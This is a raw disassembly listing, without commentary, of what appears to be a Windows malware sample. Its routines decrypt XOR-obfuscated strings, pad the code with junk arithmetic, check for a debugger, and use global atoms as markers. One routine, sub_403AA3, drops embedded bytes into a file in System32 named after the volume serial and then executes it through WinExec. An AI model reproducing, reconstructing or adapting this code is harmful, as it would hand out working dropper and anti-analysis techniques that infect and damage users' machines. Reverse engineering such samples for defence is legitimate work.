		jnz	short loc_40313A
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_40313A
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_40313A
		sub	eax, 5
		cmp	byte ptr [eax],	0
		jz	short loc_403144

loc_40313A:				; CODE XREF: sub_402A4D+6C5j
					; sub_402A4D+6CFj ...
		call	sub_40C598	; GetTickCount
		dec	[ebp+var_4]
		jmp	short loc_403109
; ---------------------------------------------------------------------------

loc_403144:				; CODE XREF: sub_402A4D+6EBj
		movzx	edi, byte ptr [ebp+var_216C+3]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		mov	[ebp+edi+var_2570], esi
		add	byte ptr [ebp+var_216C+3], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_4031A3
		lea	edi, [ebp+var_2573]
		lea	esi, byte_43C13F
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_2024],	eax
		mov	eax, dword_43C142
		mov	[ebp+var_2578+1], eax
		jmp	loc_4030F9
; ---------------------------------------------------------------------------

loc_4031A3:				; CODE XREF: sub_402A4D+71Aj
		mov	ebx, [ebp+var_4]
		jmp	short loc_4031CB
; ---------------------------------------------------------------------------

loc_4031A8:				; CODE XREF: sub_402A4D+784j
		lea	edi, [ebp+var_2578+1]
		lea	esi, aLvdw_x	; "LVDW.X"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_1014]
		add	eax, ebx
		sub	eax, [ebp+var_4]
		mov	dl, [ebx]
		mov	[eax], dl
		inc	ebx

loc_4031CB:				; CODE XREF: sub_402A4D+759j
		cmp	ebx, [ebp+var_2024]
		jb	short loc_4031A8

loc_4031D3:				; CODE XREF: sub_402A4D+7EDj
		sub	byte ptr [ebp+var_216C+3], 1
		movzx	edi, byte ptr [ebp+var_216C+3]
		shl	edi, 2
		mov	ebx, [ebp+edi+var_2570]

loc_4031EB:				; CODE XREF: sub_402A4D+7E2j
		mov	byte ptr [ebx],	0
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_403220
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_403231

loc_403220:				; CODE XREF: sub_402A4D+7A9j
					; sub_402A4D+7B3j ...
		mov	byte ptr [ebp+var_2172+1], 14h
		sub	byte ptr [ebp+var_2172+1], 0Eh
		inc	ebx
		jmp	short loc_4031EB
; ---------------------------------------------------------------------------

loc_403231:				; CODE XREF: sub_402A4D+7D1j
		movzx	eax, byte ptr [ebp+var_216C+3]
		or	eax, eax
		jg	short loc_4031D3
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+arg_0], 1
		jz	short loc_40326D
		call	sub_40C5A4	; GetVersion

loc_40324C:				; CODE XREF: sub_402A4D+622j
					; sub_402A4D+65Ej
		movzx	eax, [ebp+var_1015]
		push	eax
		push	[ebp+var_202C]
		push	[ebp+var_2034]
		call	sub_4028A6
		add	esp, 0Ch
		call	sub_40C538	; RtlGetLastWin32Error

loc_40326D:				; CODE XREF: sub_402A4D+613j
					; sub_402A4D+672j ...
		cmp	[ebp+var_2025],	0
		jz	short loc_4032C3
		mov	eax, dword_43C14D
		mov	[ebp+var_216C],	eax
		and	[ebp+var_1014],	0

loc_403288:				; CODE XREF: sub_402A4D+86Aj
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+var_8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	edx, [ebp+edi+var_2020]
		mov	[esi+edi], edx
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_403288
		call	sub_40C574	; GetProcessHeap
		jmp	loc_402CE7
; ---------------------------------------------------------------------------

loc_4032C3:				; CODE XREF: sub_402A4D+136j
					; sub_402A4D+3AEj ...
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43BE84[edi], 0
		jnz	loc_402B71
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402A4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E7	proc near		; CODE XREF: sub_403449+50p
					; sub_4034D8+46p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C15C
		lea	eax, ds:41C960h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_4], 314h
		xor	edi, edi
		jmp	short loc_40332D
; ---------------------------------------------------------------------------

loc_403316:				; CODE XREF: sub_4032E7+48j
		mov	eax, dword_43C15C
		add	eax, edi
		lea	eax, ds:41C960h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 2Ah
		mov	[eax], dl
		inc	edi

loc_40332D:				; CODE XREF: sub_4032E7+2Dj
		cmp	edi, esi
		jl	short loc_403316
		mov	[ebp+var_8], 1B1h
		mov	eax, dword_43C15C
		add	eax, esi
		mov	byte ptr ds:dword_41C960[eax], 0
		xor	edi, edi
		mov	edi, dword_43C15C
		add	dword_43C15C, 3
		mov	eax, dword_43C15C
		lea	eax, [eax+esi+1]
		mov	dword_43C15C, eax
		cmp	eax, 0DC8h
		jle	short loc_403372
		and	dword_43C15C, 0

loc_403372:				; CODE XREF: sub_4032E7+82j
		mov	[ebp+var_C], 2D9h
		lea	eax, dword_41C960[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4032E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403383	proc near		; CODE XREF: sub_403449+31p
					; sub_4034D8+35p

var_F		= byte ptr -0Fh
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebp+var_B]
		lea	esi, dword_43C160
		mov	ecx, 5
		rep movsb
		call	sub_40C538	; RtlGetLastWin32Error
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh

loc_4033A9:				; CODE XREF: sub_403383+2Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4033A9
		mov	edi, eax
		mov	[ebp+var_6], di
		call	sub_40C538	; RtlGetLastWin32Error
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4033FA
; ---------------------------------------------------------------------------

loc_4033C5:				; CODE XREF: sub_403383+7Dj
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4033F6
		lea	edi, [ebp+var_F]
		lea	esi, byte_43C165
		mov	ecx, 3
		rep movsb
		inc	[ebp+var_2]
		mov	[ebp+var_C], 8Dh
		movzx	eax, [ebp+var_C]
		imul	eax, 3989h
		mov	[ebp+var_C], al
		jmp	short loc_403402
; ---------------------------------------------------------------------------

loc_4033F6:				; CODE XREF: sub_403383+4Aj
		dec	[ebp+var_2]

loc_4033FA:				; CODE XREF: sub_403383+40j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4033C5

loc_403402:				; CODE XREF: sub_403383+71j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_40343F
		mov	[ebp+var_4], 0
		jmp	short loc_40342D
; ---------------------------------------------------------------------------

loc_403414:				; CODE XREF: sub_403383+BAj
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]

loc_40342D:				; CODE XREF: sub_403383+8Fj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_403414

loc_40343F:				; CODE XREF: sub_403383+87j
		call	sub_40C508	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403383	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403449	proc near		; CODE XREF: sub_403AA3+ACp
					; sub_403C5F+286p ...

var_10F		= byte ptr -10Fh
var_10A		= dword	ptr -10Ah
var_106		= byte ptr -106h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		call	sub_40C5A4	; GetVersion
		mov	eax, dword_43C168
		mov	[ebp+var_10A], eax
		mov	ebx, 63Dh
		sub	ebx, 6B35h
		lea	eax, [ebp+var_106]
		push	eax
		push	[ebp+arg_0]
		call	sub_403383
		lea	edi, [ebp+var_10F]
		lea	esi, aOqd	; " OQD"
		mov	ecx, 5
		rep movsb
		push	2
		push	offset word_446666
		call	sub_4032E7
		push	eax
		lea	edi, [ebp+var_106]
		push	edi
		call	sub_40CA54
		add	esp, 18h
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp+var_106]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	[ebp+var_2], 4353h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403449	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034D8	proc near		; CODE XREF: sub_409847+2F3p
					; sub_409847+387p ...

var_10D		= byte ptr -10Dh
var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_105		= byte ptr -105h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	esi
		push	edi
		mov	[ebp+var_1], 0C0h
		sub	[ebp+var_1], 0C7h
		lea	edi, [ebp+var_10D]
		lea	esi, aR6	; "R6"
		mov	ecx, 3
		rep movsb
		call	sub_40C574	; GetProcessHeap
		lea	eax, [ebp+var_105]
		push	eax
		push	[ebp+arg_0]
		call	sub_403383
		call	sub_40C598	; GetTickCount
		push	2
		push	offset word_446666
		call	sub_4032E7
		push	eax
		lea	edi, [ebp+var_105]
		push	edi
		call	sub_40CA54
		add	esp, 18h
		mov	[ebp+var_108], 1D40h
		add	[ebp+var_108], 6FD4h

loc_403545:				; CODE XREF: sub_4034D8+9Ej
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_40C5EC	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_10A], di
		cmp	[ebp+var_10A], 0
		jz	short loc_403578
		movzx	eax, [ebp+var_10A]
		push	eax
		call	sub_40C5E0	; GlobalDeleteAtom
		call	sub_40C598	; GetTickCount
		jmp	short loc_403545
; ---------------------------------------------------------------------------

loc_403578:				; CODE XREF: sub_4034D8+8Aj
		pop	edi
		pop	esi
		leave
		retn
sub_4034D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40357C	proc near		; CODE XREF: sub_403610+A1p
					; sub_4036F2+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 1D8h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C17C
		lea	eax, ds:40E110h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4035C1
; ---------------------------------------------------------------------------

loc_4035AA:				; CODE XREF: sub_40357C+47j
		mov	eax, dword_43C17C
		add	eax, edi
		lea	eax, ds:40E110h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 4Eh
		mov	[eax], dl
		inc	edi

loc_4035C1:				; CODE XREF: sub_40357C+2Cj
		cmp	edi, esi
		jl	short loc_4035AA
		mov	[ebp+var_8], 1C3h
		mov	eax, dword_43C17C
		add	eax, esi
		mov	byte ptr ds:dword_40E110[eax], 0
		mov	edi, dword_43C17C
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_43C17C, eax
		inc	dword_43C17C
		cmp	dword_43C17C, 0E02h
		jle	short loc_403606
		and	dword_43C17C, 0

loc_403606:				; CODE XREF: sub_40357C+81j
		lea	eax, dword_40E110[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40357C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403610	proc near		; CODE XREF: sub_4036F2+44p

var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_38], 579Dh
		add	[ebp+var_38], 917h
		mov	ax, word_43C180
		mov	[ebp+var_3A], ax
		mov	esi, 2C6Bh
		mov	eax, esi
		add	eax, esi
		mov	esi, eax
		mov	eax, 0Dh
		sub	eax, dword_43C178
		push	eax
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C9A0
		add	esp, 0Ch
		call	sub_40C514	; GetCurrentThreadId
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh

loc_403663:				; CODE XREF: sub_403610+58j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403663
		mov	ebx, eax
		mov	[ebp+var_2], bl
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_1], 0
		jmp	short loc_403690
; ---------------------------------------------------------------------------

loc_40367A:				; CODE XREF: sub_403610+8Aj
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1

loc_403690:				; CODE XREF: sub_403610+68j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_40367A
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_4036C4
; ---------------------------------------------------------------------------

loc_4036AA:				; CODE XREF: sub_403610+C5j
		push	1
		push	offset byte_446664
		call	sub_40357C
		push	eax
		push	edi
		call	sub_40CA54
		add	esp, 10h
		add	[ebp+var_3], 1

loc_4036C4:				; CODE XREF: sub_403610+98j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_4036AA
		call	sub_40C5A4	; GetVersion
		push	[ebp+arg_8]
		push	edi
		call	sub_40CA54
		add	esp, 8
		call	sub_40C538	; RtlGetLastWin32Error
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036F2	proc near		; CODE XREF: sub_40A766+671p

var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		lea	edi, [ebp+var_35]
		lea	esi, word_43C182
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+var_2], 891h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	1
		push	offset word_446662
		call	sub_40357C
		push	eax
		lea	edi, [ebp+var_34]
		push	edi
		push	[ebp+arg_0]
		call	sub_403610
		add	esp, 14h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	ebx, 3324h
		sub	ebx, 3885h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40375C	proc near		; CODE XREF: sub_4037EF+47p
					; .text:004038C7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 6Ch
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C18C
		lea	eax, ds:40F780h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4037A1
; ---------------------------------------------------------------------------

loc_40378A:				; CODE XREF: sub_40375C+47j
		mov	eax, dword_43C18C
		add	eax, edi
		lea	eax, ds:40F780h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7
		mov	[eax], dl
		inc	edi

loc_4037A1:				; CODE XREF: sub_40375C+2Cj
		cmp	edi, esi
		jl	short loc_40378A
		mov	eax, dword_43C18C
		add	eax, esi
		mov	byte ptr ds:dword_40F780[eax], 0
		xor	edi, edi
		mov	edi, dword_43C18C
		inc	dword_43C18C
		mov	eax, dword_43C18C
		lea	eax, [eax+esi+6]
		mov	dword_43C18C, eax
		cmp	eax, 0DE8h
		jle	short loc_4037DE
		and	dword_43C18C, 0

loc_4037DE:				; CODE XREF: sub_40375C+79j
		mov	[ebp+var_8], 0FFh
		lea	eax, dword_40F780[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40375C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037EF	proc near		; CODE XREF: sub_40A766+719p
					; sub_40A766+74Fp

var_10A		= word ptr -10Ah
var_108		= byte ptr -108h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C514	; GetCurrentThreadId
		lea	edi, [ebp+var_108]
		lea	esi, byte_43C190
		mov	ecx, 3
		rep movsb
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA30
		mov	ax, word_43C193
		mov	[ebp+var_10A], ax
		push	1
		push	offset asc_446660 ; "$"
		call	sub_40375C
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CA54
		mov	ebx, 20A5h
		sub	ebx, 7EDBh
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA54
		add	esp, 20h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C5D4	; GlobalAddAtomA
		mov	[ebp+var_105], 4Eh
		add	[ebp+var_105], 55h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4037EF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	edi
		call	sub_40C574	; GetProcessHeap
		lea	edi, [ebp-10Bh]
		lea	esi, aH8me	; "H8mE"
		mov	ecx, 5
		rep movsb
		call	sub_40C598	; GetTickCount
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CA30
		push	1
		push	offset asc_446660 ; "$"
		call	sub_40375C
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	sub_40CA54
		call	sub_40C634	; IsDebuggerPresent
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CA54
		add	esp, 20h
		call	sub_40C5A4	; GetVersion

loc_4038F5:				; CODE XREF: .text:00403930j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C5EC	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		call	sub_40C514	; GetCurrentThreadId
		cmp	word ptr [ebp-106h], 0
		jz	short loc_403932
		call	sub_40C508	; GetCurrentProcessId
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	sub_40C5E0	; GlobalDeleteAtom
		call	sub_40C514	; GetCurrentThreadId
		jmp	short loc_4038F5
; ---------------------------------------------------------------------------

loc_403932:				; CODE XREF: .text:00403917j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403936	proc near		; CODE XREF: sub_4039D6+8Bp
					; sub_403AA3+73p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 20Eh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C1A4
		lea	eax, ds:41DA90h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_8], 331h
		xor	edi, edi
		jmp	short loc_403985
; ---------------------------------------------------------------------------

loc_40396B:				; CODE XREF: sub_403936+51j
		mov	eax, dword_43C1A4
		add	eax, edi
		lea	eax, ds:41DA90h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8Fh
		mov	[eax], dl
		inc	edi

loc_403985:				; CODE XREF: sub_403936+33j
		cmp	edi, esi
		jl	short loc_40396B
		mov	eax, dword_43C1A4
		add	eax, esi
		mov	byte ptr ds:dword_41DA90[eax], 0
		mov	edi, dword_43C1A4
		inc	dword_43C1A4
		mov	eax, dword_43C1A4
		lea	eax, [eax+esi+6]
		mov	dword_43C1A4, eax
		add	dword_43C1A4, 2
		cmp	dword_43C1A4, 0DFDh
		jle	short loc_4039CC
		and	dword_43C1A4, 0

loc_4039CC:				; CODE XREF: sub_403936+8Dj
		lea	eax, dword_41DA90[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_403936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039D6	proc near		; CODE XREF: sub_403AA3+49p
					; sub_403C5F+155p ...

var_1013	= byte ptr -1013h
var_100B	= byte ptr -100Bh
var_1008	= dword	ptr -1008h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_100B]
		lea	esi, word_4411CA
		mov	ecx, 3
		rep movsb
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C5BC	; GetVolumeInformationA
		lea	edi, [ebp+var_1013]
		lea	esi, aK0iJ	; " K0i=J "
		movsd
		movsd
		push	4
		push	offset aK	; ""
		call	sub_403936
		push	[ebp+var_1008]
		push	eax
		push	ebx
		call	sub_40CA30
		add	esp, 14h
		and	[ebp+var_4], 0

loc_403A7A:				; CODE XREF: sub_4039D6+C1j
		mov	eax, [ebp+var_4]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403A90
		cmp	al, 30h
		jle	short loc_403A90
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	byte ptr [eax],	11h

loc_403A90:				; CODE XREF: sub_4039D6+ACj
					; sub_4039D6+B0j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_403A7A
		call	sub_40C5A4	; GetVersion
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4039D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AA3	proc near		; CODE XREF: sub_40A766+7E8p

var_290		= dword	ptr -290h
var_28A		= byte ptr -28Ah
var_283		= byte ptr -283h
var_280		= byte ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= byte ptr -278h
var_275		= byte ptr -275h
var_26F		= byte ptr -26Fh
var_16B		= byte ptr -16Bh
var_107		= byte ptr -107h
var_106		= word ptr -106h
var_104		= word ptr -104h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_275]
		lea	esi, aKg7x_	; "kg7x_"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_104], 63FCh
		movzx	eax, [ebp+var_104]
		imul	eax, 3246h
		mov	[ebp+var_104], ax
		lea	eax, [ebp+var_16B]
		push	eax
		call	sub_4039D6
		lea	edi, [ebp+var_278]
		lea	esi, aOw	; "oW"
		mov	ecx, 3
		rep movsb
		mov	eax, dword_4411DE
		mov	[ebp+var_27C], eax
		push	9
		push	offset byte_446651
		call	sub_403936
		lea	edi, [ebp+var_16B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		mov	ebx, 3DFBh
		mov	eax, 1040h
		mul	ebx
		mov	[ebp+var_290], eax
		mov	ebx, eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_403449
		mov	[ebp+var_102], 0F5Dh
		movzx	eax, [ebp+var_102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_102], ax
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_106], 10FCh
		add	[ebp+var_106], 4EDCh
		push	0
		lea	eax, [ebp+var_280]
		push	eax
		push	3621h
		push	offset byte_43DBA9
		push	ebx
		call	sub_40C730	; WriteFile
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	ebx, 0CDFh
		add	ebx, 10D0h
		lea	edi, [ebp+var_283]
		lea	esi, word_4411E2
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_26F]
		push	eax
		push	0
		call	sub_40C544	; GetModuleFileNameA
		push	1
		push	offset byte_44664F
		call	sub_403936
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		lea	edi, [ebp+var_28A]
		lea	esi, aVR	; "|+V|;R"
		mov	ecx, 7
		rep movsb
		lea	eax, [ebp+var_26F]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40CA54
		add	esp, 38h
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C724	; WinExec
		mov	[ebp+var_107], 0F3h
		movzx	eax, [ebp+var_107]
		imul	eax, 6754h
		mov	[ebp+var_107], al
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403AA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C5F	proc near		; CODE XREF: sub_40A766+2E7p

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_2FF		= byte ptr -2FFh
var_2FC		= byte ptr -2FCh
var_2F5		= byte ptr -2F5h
var_2F4		= byte ptr -2F4h
var_2F1		= byte ptr -2F1h
var_2E9		= byte ptr -2E9h
var_2E3		= byte ptr -2E3h
var_2DE		= byte ptr -2DEh
var_278		= dword	ptr -278h
var_271		= byte ptr -271h
var_270		= dword	ptr -270h
var_26C		= word ptr -26Ch
var_26A		= byte ptr -26Ah
var_269		= byte ptr -269h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		lea	edi, [ebp+var_2E3]
		lea	esi, aN4U	; "N4/u"
		mov	ecx, 5
		rep movsb
		mov	[ebp+var_26A], 0C4h
		movzx	eax, [ebp+var_26A]
		imul	eax, 0CACh
		mov	[ebp+var_26A], al
		push	26h
		push	offset dword_446628
		call	sub_403936
		mov	[ebp+var_304], eax
		call	sub_40CA18
		mov	[ebp+var_308], eax
		call	sub_40CA18
		mov	[ebp+var_30C], eax
		call	sub_40CA18
		mov	[ebp+var_310], eax
		call	sub_40CA18
		mov	[ebp+var_314], eax
		call	sub_40CA18
		mov	[ebp+var_318], eax
		call	sub_40CA18
		mov	[ebp+var_31C], eax
		call	sub_40CA18
		mov	[ebp+var_320], eax
		call	sub_40CA18
